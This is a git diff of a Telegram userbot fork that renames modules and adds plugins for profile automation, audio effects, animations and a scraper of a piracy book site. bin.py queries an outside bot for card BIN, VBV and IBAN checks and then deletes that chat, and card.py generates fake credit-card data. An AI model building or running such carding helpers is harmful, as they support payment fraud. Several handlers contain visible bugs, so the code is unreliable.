str( + base64.b64decode( + "aHR0cHM6Ly90ZWxlZ3JhLnBoL2ZpbGUvYWVhZWJlMzNiMWYzOTg4YTBiNjkwLmpwZw==" + ) + )[2:51] + downloaded_file_name = "virtualuserbot/original_pic.png" + downloader = SmartDL(cat, downloaded_file_name, progress_bar=False) + downloader.start(blocking=False) + if DIGITALPICSTART: + return await edit_or_reply(event, f"`Digitalpfp is already enabled`") + else: + DIGITALPICSTART = True + await edit_or_reply(event, f"`digitalpfp has been started by my Master`") + while DIGITALPICSTART: + shutil.copy(downloaded_file_name, poto) + Image.open(poto) + current_time = datetime.now().strftime("%H:%M") + img = Image.open(poto) + drawn_text = ImageDraw.Draw(img) + cat = str(base64.b64decode("dXNlcmJvdC9oZWxwZXJzL3N0eWxlcy9kaWdpdGFsLnR0Zg=="))[ + 2:36 + ] + fnt = ImageFont.truetype(FONT_FILE_TO_USE, 200) + drawn_text.text((350, 100), current_time, font=fnt, fill=(124, 252, 0)) + img.save(poto) + file = await event.client.upload_file(poto) + await event.client( + functions.photos.DeletePhotosRequest( + await event.client.get_profile_photos("me", limit=1) + ) + ) + await event.client(functions.photos.UploadProfilePhotoRequest(file)) + os.remove(poto) + await asyncio.sleep(CHANGE_TIME) + + +@bot.on(admin_cmd(pattern="bloom$")) +async def autopic(event): + if event.fwd_from: + return + global BLOOMSTART + downloaded_file_name = "virtualuserbot/original_pic.png" + downloader = SmartDL( + Config.DOWNLOAD_PFP_URL_CLOCK, downloaded_file_name, progress_bar=True + ) + downloader.start(blocking=False) + photo = "virtualuserbot/photo_pfp.png" + while not downloader.isFinished(): + pass + if BLOOMSTART: + return await edit_or_reply(event, f"`Bloom is already enabled`") + else: + BLOOMSTART = True + await edit_or_reply( + event, "`Bloom colour profile pic have been enabled by my master`" + ) + while BLOOMSTART: + # RIP Danger zone Here no editing here plox + R = random.randint(0, 256) + B = random.randint(0, 256) + G = random.randint(0, 256) + FR = 256 - R + FB = 256 - B + FG = 256 - G + shutil.copy(downloaded_file_name, photo) + image = Image.open(photo) + image.paste((R, G, B), [0, 0, image.size[0], image.size[1]]) + image.save(photo) + current_time = datetime.now().strftime("\n Time: %H:%M:%S \n \n Date: %d/%m/%y") + img = Image.open(photo) + drawn_text = ImageDraw.Draw(img) + fnt = ImageFont.truetype(FONT_FILE_TO_USE, 60) + ofnt = ImageFont.truetype(FONT_FILE_TO_USE, 250) + drawn_text.text((95, 250), current_time, font=fnt, fill=(FR, FG, FB)) + drawn_text.text((95, 250), " 😈", font=ofnt, fill=(FR, FG, FB)) + img.save(photo) + file = await event.client.upload_file(photo) + try: + await event.client(functions.photos.UploadProfilePhotoRequest(file)) + os.remove(photo) + await asyncio.sleep(CHANGE_TIME) + except BaseException: + return + + +@bot.on(admin_cmd(pattern="autoname$")) +async def _(event): + if event.fwd_from: + return + global AUTONAMESTART + if AUTONAMESTART: + return await edit_or_reply(event, f"`Autoname is already enabled`") + else: + AUTONAMESTART = True + await edit_or_reply(event, "`Auto Name has been started by my Master `") + while AUTONAMESTART: + DM = time.strftime("%d-%m-%y") + HM = time.strftime("%H:%M") + name = f"⌚️ {HM}||› {DEFAULTUSER} ‹||📅 {DM}" + logger.info(name) + try: + await event.client(functions.account.UpdateProfileRequest(first_name=name)) + except FloodWaitError as ex: + logger.warning(str(e)) + await asyncio.sleep(ex.seconds) + await asyncio.sleep(CHANGE_TIME) + + +@bot.on(admin_cmd(pattern="autobio$")) +async def _(event): + global AUTOBIOSTART + if event.fwd_from: + return + if AUTOBIOSTART: + return await edit_or_reply(event, f"`Autobio is already enabled`") + else: + AUTOBIOSTART = True + await edit_or_reply(event, "`Autobio has been started by my Master`") + while AUTOBIOSTART: + DMY = time.strftime("%d.%m.%Y") + HM = time.strftime("%H:%M:%S") + bio = f"📅 {DMY} | {DEFAULTUSERBIO} | ⌚️ {HM}" + logger.info(bio) + try: + await event.client(functions.account.UpdateProfileRequest(about=bio)) + except FloodWaitError as ex: + logger.warning(str(e)) + await asyncio.sleep(ex.seconds) + await asyncio.sleep(CHANGE_TIME) + + +@bot.on(admin_cmd(pattern="end (.*)")) +async def _(event): + if event.fwd_from: + return + global AUTOPICSTART + global DIGITALPICSTART + global BLOOMSTART + global AUTONAMESTART + global AUTOBIOSTART + input_str = event.pattern_match.group(1) + if input_str == "autopic": + if AUTOPICSTART: + AUTOPICSTART = False + await edit_or_reply(event, "`Autopic has been stopped now`") + else: + await edit_or_reply(event, "`Autopic haven't enabled`") + elif input_str == "digitalpfp": + if DIGITALPICSTART: + DIGITALPICSTART = False + await edit_or_reply(event, "`Digital profile pic has been stopped now`") + else: + await edit_or_reply(event, "`Digital profile pic haven't enabled`") + elif input_str == "bloom": + if BLOOMSTART: + BLOOMSTART = False + await edit_or_reply(event, "`Bloom has been stopped now`") + else: + await edit_or_reply(event, "`Bloom haven't enabled`") + elif input_str == "autoname": + if AUTONAMESTART: + AUTONAMESTART = False + await edit_or_reply(event, "`Autoname has been stopped now`") + else: + await edit_or_reply(event, "`Autoname haven't enabled`") + elif input_str == "autobio": + if AUTOBIOSTART: + AUTOBIOSTART = False + await edit_or_reply(event, "`Autobio has been stopped now`") + else: + await edit_or_reply(event, "`Autobio haven't enabled`") + else: + await edit_or_reply(event, "`What should i end ?..`") + + +CMD_HELP.update( + { + "autoprofile": """**Plugin : **`autoprofile` + + • **Syntax : **`.autopic angle` + • **Function : **__Rotating image along with the time on it with given angle if no angle is given then doesnt rotate. You need to set __`DOWNLOAD_PFP_URL_CLOCK`__ in heroku__ + + • **Syntax : **`.digitalpfp` + • **Function : **__Your profile pic changes to digitaltime profile picutre__ + + • **Syntax : **`.bloom` + • **Function : **__Random colour profile pics will be set along with time on it. You need to set__ `DOWNLOAD_PFP_URL_CLOCK`__ in heroku__ + + • **Syntax : **`.autoname` + • **Function : **__for time along with name, you must set __`AUTONAME`__ in the heroku vars first for this to work__ + + • **Syntax : **`.autobio` + • **Function : **__for time along with your bio, Set __`DEFAULT_BIO`__ in the heroku vars first__ + + • **Syntax : **`.end function` + • **Function : **__To stop the given functions like autopic ,difitalpfp , bloom , autoname and autobio__ + +**⚠️DISCLAIMER⚠️** +__USING THIS PLUGIN CAN RESULT IN ACCOUNT BAN. WE ARE NOT RESPONSIBLE FOR YOUR BAN.__ +""" + } +) diff --git a/fridaybot/modules/barcode.py b/virtualuserbot/modules/barcode.py similarity index 98% rename from fridaybot/modules/barcode.py rename to virtualuserbot/modules/barcode.py index 26cd363d..863ed9db 100644 --- a/fridaybot/modules/barcode.py +++ b/virtualuserbot/modules/barcode.py @@ -11,7 +11,7 @@ from barcode.writer import ImageWriter from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="barcode ?(.*)")) diff --git a/fridaybot/modules/bash.py b/virtualuserbot/modules/bash.py similarity index 93% rename from fridaybot/modules/bash.py rename to virtualuserbot/modules/bash.py index b96f9032..4765b6c3 100644 --- a/fridaybot/modules/bash.py +++ b/virtualuserbot/modules/bash.py @@ -2,8 +2,8 @@ import io import time -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="bash ?(.*)")) diff --git a/virtualuserbot/modules/bassboost.py b/virtualuserbot/modules/bassboost.py new file mode 100644 index 00000000..e9464a57 --- /dev/null +++ b/virtualuserbot/modules/bassboost.py @@ -0,0 +1,99 @@ +import asyncio +import io +import math +import os + +import numpy as np +from pydub import AudioSegment +from telethon import types + +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="bassbost ?(.*)")) +async def __(message): + v = False + accentuate_db = 40 + reply = await message.get_reply_message() + if not reply: + await message.edit("Can You Reply To A MSG :?") + return + if message.pattern_match.group(1): + ar = message.pattern_match.group(1) + try: + int(ar) + if int(ar) >= 2 and int(ar) <= 100: + accentuate_db = int(ar) + else: + await message.edit("`BassBost Level Should Be From 2 to 100 Only.`") + return + except Exception as exx: + await message.edit("`SomeThing Went Wrong..` \n**Error:** " + str(exx)) + return + else: + accentuate_db = 2 + await message.edit("`Downloading This File...`") + fname = await borg.download_media(message=reply.media) + await message.edit("`BassBoosting In Progress..`") + if fname.endswith(".oga") or fname.endswith(".ogg"): + v = True + audio = AudioSegment.from_file(fname) + elif fname.endswith(".mp3") or fname.endswith(".m4a") or fname.endswith(".wav"): + audio = AudioSegment.from_file(fname) + else: + await message.edit( + "`This Format is Not Supported Yet` \n**Currently Supported :** `mp3, m4a and wav.`" + ) + os.remove(fname) + return + sample_track = list(audio.get_array_of_samples()) + await asyncio.sleep(0.3) + est_mean = np.mean(sample_track) + await asyncio.sleep(0.3) + est_std = 3 * np.std(sample_track) / (math.sqrt(2)) + await asyncio.sleep(0.3) + bass_factor = int(round((est_std - est_mean) * 0.005)) + await asyncio.sleep(5) + attenuate_db = 0 + filtered = audio.low_pass_filter(bass_factor) + await asyncio.sleep(5) + out = (audio - attenuate_db).overlay(filtered + accentuate_db) + await asyncio.sleep(6) + m = io.BytesIO() + if v: + m.name = "voice.ogg" + out.split_to_mono() + await message.edit("`Now Exporting...`") + await asyncio.sleep(0.3) + out.export(m, format="ogg", bitrate="64k", codec="libopus") + await message.edit("`Process Completed. Uploading Now Here..`") + await borg.send_file( + message.to_id, + m, + reply_to=reply.id, + voice_note=True, + caption="Bass Boosted, \nDone By VirtualUserbot", + ) + os.remove(m) + else: + m.name = "BassBoosted.mp3" + await message.edit("`Now Exporting...`") + await asyncio.sleep(0.3) + out.export(m, format="mp3") + await message.edit("`Process Completed. Uploading Now Here..`") + await borg.send_file( + message.to_id, + m, + reply_to=reply.id, + attributes=[ + types.DocumentAttributeAudio( + duration=reply.document.attributes[0].duration, + title=f"BassBoost {str(accentuate_db)}lvl", + performer="BassBoost", + ) + ], + caption="Bass Boosted, \nDone By VirtualUserbot", + ) + os.remove(m) + await message.delete() + os.remove(fname) diff --git a/virtualuserbot/modules/bible.py b/virtualuserbot/modules/bible.py new file mode 100644 index 00000000..11b16f71 --- /dev/null +++ b/virtualuserbot/modules/bible.py @@ -0,0 +1,74 @@ +import requests + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="bible (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + if input_str is None: + await event.edit("Input Not Found. 🤦") + try: + Hitler = input_str.split(":", 2) + book = Hitler[0] + cr = Hitler[1] + ve = Hitler[2] + except: + await event.edit( + "Input Not Proper. Give Input in the form of `.bible bookName:chapter:verse` " + ) + try: + url = f"https://bible-api.com/{book.strip()}+{cr.strip()}:{ve.strip()}" + + pablo = requests.get(url).json() + + ref = pablo.get("reference") + mnmm = pablo.get("verses") + mnm = mnmm[0] + + bd = mnm.get("book_id") + + bn = mnm.get("book_name") + + chapter = mnm.get("chapter") + + verse = mnm.get("verse") + + texr = mnm.get("text") + + Escobar = f"""Bible Information Gathered +Book Name : {bn} +Book ID : {bd} +Chapter : {chapter} +Verse : {verse} +Reference : {ref} +Text : {texr.strip()} + + +By VirtualUserbot. Special thanks to @FridayOT +Get Your VirtualUserbot From @Infinity_Bots +""" + await borg.send_message( + event.chat_id, + Escobar, + parse_mode="HTML", + silent=True, + ) + await event.delete() + + except: + await event.edit("Given Text is Invalid. 🤦") + + +CMD_HELP.update( + { + "bible": "**Bible**\ +\n\n**Syntax : **`.bible bookName:chapter:verse`\ +\n**Usage :** Gives verse from bible.\ +\n\n**Example : **`.bible John:5:2`\ +\nThis above syntax gives 2nd verse From 5th chapter from John book." + } +) diff --git a/virtualuserbot/modules/bigoof.py b/virtualuserbot/modules/bigoof.py new file mode 100644 index 00000000..c0261ac4 --- /dev/null +++ b/virtualuserbot/modules/bigoof.py @@ -0,0 +1,40 @@ +"""Available Commands: +.bigoof +Credits to @TeleBotHelp + + TeleBot +""" + +# Main Credits Goes to @T3b0N3 +# He Worked Very Hard to do this, So Please Respect Him!! + +import asyncio + +from ..utils import admin_cmd + + +@borg.on(admin_cmd("bigoof")) +async def _(event): + if event.fwd_from: + return + animation_interval = 0.1 + animation_ttl = range(0, 36) + # input_str = event.pattern_match.group(1) + # if input_str == "nope": + await event.edit( + "┏━━━┓╋╋╋╋┏━━━┓ \n┃┏━┓┃╋╋╋╋┃┏━┓┃ \n┃┃╋┃┣┓┏┓┏┫┃╋┃┃ \n┃┃╋┃┃┗┛┗┛┃┃╋┃┃ \n┃┗━┛┣┓┏┓┏┫┗━┛┃ \n┗━━━┛┗┛┗┛┗━━━┛" + ) + animation_chars = [ + "╭━━━╮╱╱╱╭━╮ \n┃╭━╮┃╱╱╱┃╭╯ \n┃┃╱┃┣━━┳╯╰╮ \n┃┃╱┃┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃┃┃ \n╰━━━┻━━╯╰╯ ", + "╭━━━╮╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃┃┃ \n ╰━━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━┻━━╯╰╯", + "╭━━━╮╱╱╱╱╱╱╱╱╱╭━╮ \n┃╭━╮┃╱╱╱╱╱╱╱╱╱┃╭╯ \n┃┃╱┃┣━━┳━━┳━━┳╯╰╮ \n┃┃╱┃┃╭╮┃╭╮┃╭╮┣╮╭╯ \n┃╰━╯┃╰╯┃╰╯┃╰╯┃┃┃ \n╰━━━┻━━┻━━┻━━╯╰╯", + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 40]) diff --git a/virtualuserbot/modules/bin.py b/virtualuserbot/modules/bin.py new file mode 100644 index 00000000..a966c1e7 --- /dev/null +++ b/virtualuserbot/modules/bin.py @@ -0,0 +1,112 @@ +# pata nhi sir 👀👀👀👀 +from telethon import events, functions +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from virtualuserbot import bot as danish_00 + +from ..utils import admin_cmd as danishehe + + +@danish_00.on(danishehe(pattern="bin2 ?(.*)")) +async def _(event): + if event.fwd_from: + return + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Searching ur bin 😅😁...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/bin {}".format(danish)) + respond = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if respond.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() + + +@danish_00.on(danishehe(pattern="vbv ?(.*)")) +async def _(event): + if event.fwd_from: + return + + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Connecting...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/vbv {}".format(danish)) + respond = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if respond.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() + + +@danish_00.on(danishehe(pattern="key ?(.*)")) +async def _(event): + if event.fwd_from: + return + + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Connecting...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/key {}".format(danish)) + response = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if response.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() + + +@danish_00.on(danishehe(pattern="iban2 ?(.*)")) +async def _(event): + if event.fwd_from: + return + + danish = event.pattern_match.group(1) + chat = "@Carol5_bot" + await event.edit("Connecting...") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1247032902) + ) + await event.client.send_message(chat, "/iban {}".format(danish)) + response = await response + except YouBlockedUserError: + await event.reply("Boss! Please Unblock @Carol5_bot ") + return + if response.text.startswith(" "): + await event.edit("That bot is dead bro now this cmd is useless 😂😂") + else: + await event.client.send_message(event.chat_id, respond.message) + await bot(functions.messages.DeleteHistoryRequest(peer=chat, max_id=0)) + await event.delete() diff --git a/fridaybot/modules/blacklist.py b/virtualuserbot/modules/blacklist.py similarity index 97% rename from fridaybot/modules/blacklist.py rename to virtualuserbot/modules/blacklist.py index 8d5eb336..6994c829 100644 --- a/fridaybot/modules/blacklist.py +++ b/virtualuserbot/modules/blacklist.py @@ -10,9 +10,10 @@ from telethon import events +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + from .sql_helper import blacklist_sql as sql -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(events.NewMessage(incoming=True)) diff --git a/virtualuserbot/modules/books.py b/virtualuserbot/modules/books.py new file mode 100644 index 00000000..11c6c96e --- /dev/null +++ b/virtualuserbot/modules/books.py @@ -0,0 +1,79 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import os +import re + +import requests +from bs4 import BeautifulSoup + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="book (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + lool = 0 + await event.edit("searching for the book...") + lin = "https://b-ok.cc/s/" + text = input_str + link = lin + text + + headers = [ + "User-Agent", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0", + ] + page = requests.get(link) + soup = BeautifulSoup(page.content, "html.parser") + f = open("book.txt", "w") + total = soup.find(class_="totalCounter") + for nb in total.descendants: + nbx = nb.replace("(", "").replace(")", "") + if nbx == "0": + await event.edit("No Books Found with that name.") + else: + + for tr in soup.find_all("td"): + for td in tr.find_all("h3"): + for ts in td.find_all("a"): + title = ts.get_text() + lool = lool + 1 + for ts in td.find_all("a", attrs={"href": re.compile("^/book/")}): + ref = ts.get("href") + link = "https://b-ok.cc" + ref + + f.write("\n" + title) + f.write("\nBook link:- " + link + "\n\n") + + f.write("By VirtualUserbot.") + f.close() + caption = "By VirtualUserbot.\n Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot)" + + await borg.send_file( + event.chat_id, + "book.txt", + caption=f"**BOOKS GATHERED SUCCESSFULLY!\n\nBY VIRTUALUSERBOT. Get your Superpowers with [VirtualUserbot](github.com/inukaasith/virtualuserbot).**", + ) + os.remove("book.txt") + + +CMD_HELP.update( + { + "booksdl": "**Books Scraper**\ +\n\n**Syntax : **`.book `\ +\n**Usage :** Gets Instant Download Link Of Given Book." + } +) diff --git a/fridaybot/modules/bot_tag.py b/virtualuserbot/modules/bot_tag.py similarity index 98% rename from fridaybot/modules/bot_tag.py rename to virtualuserbot/modules/bot_tag.py index d9895eb1..bceca83f 100644 --- a/fridaybot/modules/bot_tag.py +++ b/virtualuserbot/modules/bot_tag.py @@ -16,7 +16,7 @@ from telethon.tl.types import Chat from telethon.utils import get_display_name -from fridaybot.Configs import Config +from virtualuserbot.Configs import Config @friday.on( diff --git a/fridaybot/modules/broadcast.py b/virtualuserbot/modules/broadcast.py similarity index 97% rename from fridaybot/modules/broadcast.py rename to virtualuserbot/modules/broadcast.py index 648ee4bb..0d3ce89c 100644 --- a/fridaybot/modules/broadcast.py +++ b/virtualuserbot/modules/broadcast.py @@ -15,15 +15,15 @@ import io import os -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.modules.sql_helper.broadcast_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.modules.sql_helper.broadcast_sql import ( add_chnnl_in_db, already_added, get_all_chnnl, rm_channel, ) -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd loggy_grp = Config.PRIVATE_GROUP_ID diff --git a/fridaybot/modules/bye.py b/virtualuserbot/modules/bye.py similarity index 70% rename from fridaybot/modules/bye.py rename to virtualuserbot/modules/bye.py index 0af98459..06a52d0e 100644 --- a/fridaybot/modules/bye.py +++ b/virtualuserbot/modules/bye.py @@ -8,8 +8,8 @@ from telethon.tl.functions.channels import LeaveChannelRequest -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("bye")) @@ -18,10 +18,10 @@ async def leave(e): if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): time.sleep(3) if e.is_group: - await starkgang.edit("`This is Very kensur Group, So Me iz Leaving.`") + await e.edit("`This is Very kensur Group, So Me iz Leaving.`") await borg(LeaveChannelRequest(e.chat_id)) else: - await starkgang.edit("`Boss, This is Not A Chat`") + await e.edit("`Boss, This is Not A Chat`") CMD_HELP.update( diff --git a/fridaybot/modules/calc.py b/virtualuserbot/modules/calc.py similarity index 100% rename from fridaybot/modules/calc.py rename to virtualuserbot/modules/calc.py diff --git a/fridaybot/modules/calladmin.py b/virtualuserbot/modules/calladmin.py similarity index 95% rename from fridaybot/modules/calladmin.py rename to virtualuserbot/modules/calladmin.py index 5f863fb6..2784e8bf 100644 --- a/fridaybot/modules/calladmin.py +++ b/virtualuserbot/modules/calladmin.py @@ -2,7 +2,7 @@ from telethon.tl.types import ChannelParticipantsAdmins from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="admins")) diff --git a/fridaybot/modules/carbon.py b/virtualuserbot/modules/carbon.py similarity index 95% rename from fridaybot/modules/carbon.py rename to virtualuserbot/modules/carbon.py index da0f6991..c32272b4 100644 --- a/fridaybot/modules/carbon.py +++ b/virtualuserbot/modules/carbon.py @@ -14,18 +14,18 @@ from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.keys import Keys -from fridaybot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN -from fridaybot.utils import register +from virtualuserbot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN +from virtualuserbot.utils import friday_on_cmd CARBONLANG = "auto" LANG = "en" -@register(outgoing=True, pattern="^.carbon") +@friday.on(friday_on_cmd(pattern="carbon")) async def carbon_api(e): if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - """ A Wrapper for carbon.now.sh """ + """A Wrapper for carbon.now.sh""" await e.edit("`Processing..`") CARBON = "https://carbon.now.sh/?l={lang}&code={code}" global CARBONLANG diff --git a/virtualuserbot/modules/carbonRGB.py b/virtualuserbot/modules/carbonRGB.py new file mode 100644 index 00000000..b4620ac8 --- /dev/null +++ b/virtualuserbot/modules/carbonRGB.py @@ -0,0 +1,128 @@ +"""Carbon Scraper Plugin for Userbot. //text in creative way. +usage: .karb //as a reply to any text message + +Thanks to dev for THIS PLUGIN""" + +import os +import random +from time import sleep +from urllib.parse import quote_plus + +from selenium import webdriver +from selenium.webdriver.chrome.options import Options + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +# @borg.on(events.NewMessage(pattern=r"\.karb ", outgoing=True)) +@borg.on(admin_cmd(pattern="karb")) +async def carbon_api(e): + RED = random.randint(0, 256) + GREEN = random.randint(0, 256) + BLUE = random.randint(0, 256) + THEME = [ + "3024-night", + "a11y-dark", + "blackboard", + "base16-dark", + "base16-light", + "cobalt", + "dracula", + "duotone-dark", + "hopscotch", + "lucario", + "material", + "monokai", + "night-owl", + "nord", + "oceanic-next", + "one-light", + "one-dark", + "panda-syntax", + "paraiso-dark", + "seti", + "shades-of-purple", + "solarized", + "solarized%20light", + "synthwave-84", + "twilight", + "verminal", + "vscode", + "yeti", + "zenburn", + ] + + CUNTHE = random.randint(0, len(THEME) - 1) + The = THEME[CUNTHE] + + if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): + """A Wrapper for carbon.now.sh""" + await e.edit("⬜⬜⬜⬜⬜") + CARBON = "https://carbon.now.sh/?bg=rgba({R}%2C{G}%2C.{B}%2C1)&t={T}&wt=none&l=auto&ds=false&dsyoff=20px&dsblur=68px&wc=true&wa=true&pv=56px&ph=56px&ln=false&fl=1&fm=Fira%20Code&fs=14px&lh=152%25&si=false&es=2x&wm=false&code={code}" + CARBONLANG = "en" + textx = await e.get_reply_message() + pcode = e.text + if pcode[6:]: + pcode = str(pcode[6:]) + elif textx: + pcode = str(textx.message) # Importing message to module + code = quote_plus(pcode) # Converting to urlencoded + url = CARBON.format(code=code, R=RED, G=GREEN, B=BLUE, T=The, lang=CARBONLANG) + chrome_options = Options() + chrome_options.add_argument("--headless") + chrome_options.binary_location = Config.GOOGLE_CHROME_BIN + chrome_options.add_argument("--window-size=1920x1080") + chrome_options.add_argument("--disable-dev-shm-usage") + chrome_options.add_argument("--no-sandbox") + chrome_options.add_argument("--disable-gpu") + prefs = {"download.default_directory": "./"} + chrome_options.add_experimental_option("prefs", prefs) + await e.edit("⬛⬛⬜⬜⬜") + + driver = webdriver.Chrome( + executable_path=Config.CHROME_DRIVER, options=chrome_options + ) + driver.get(url) + download_path = "./" + driver.command_executor._commands["send_command"] = ( + "POST", + "/session/$sessionId/chromium/send_command", + ) + params = { + "cmd": "Page.setDownloadBehavior", + "params": {"behavior": "allow", "downloadPath": download_path}, + } + driver.execute("send_command", params) + + driver.find_element_by_xpath("//button[contains(text(),'Export')]").click() + sleep(5) # this might take a bit. + # driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() + # sleep(5) + await e.edit("⬛⬛⬛⬜⬜") + # driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() + # sleep(5) #Waiting for downloading + + await e.edit("⬛⬛⬛⬛⬛") + file = "./carbon.png" + await e.edit("✅RGB Karbon Completed, Uploading...........") + await e.client.send_file( + e.chat_id, + file, + caption="Carbonised by [VirtualUserbot](https://github.com/inukaasih/virtualuserbot)", + force_document=False, + reply_to=e.message.reply_to_msg_id, + ) + + os.remove("./carbon.png") + # Removing carbon.png after uploading + await e.delete() # Deleting msg + + +CMD_HELP.update( + { + "carbonRBG": ".karb " + "\nCreate a cool random colorful carbon image for that text 😂😂(not work in media)" + } +) diff --git a/virtualuserbot/modules/card.py b/virtualuserbot/modules/card.py new file mode 100644 index 00000000..bd5ed2c8 --- /dev/null +++ b/virtualuserbot/modules/card.py @@ -0,0 +1,21 @@ +# Original By +# @THE_B_LACK_HAT +# @danish_00 +# For #Cobra +# +# Card Generator +############################## +from faker import Faker as dc + +from virtualuserbot import bot as cobra + +from ..utils import admin_cmd as hehe + + +@cobra.on(hehe("card")) +async def _cobra(dark): + cyber = dc() + killer = cyber.name() + kali = cyber.address() + danish = cyber.credit_card_full() + await 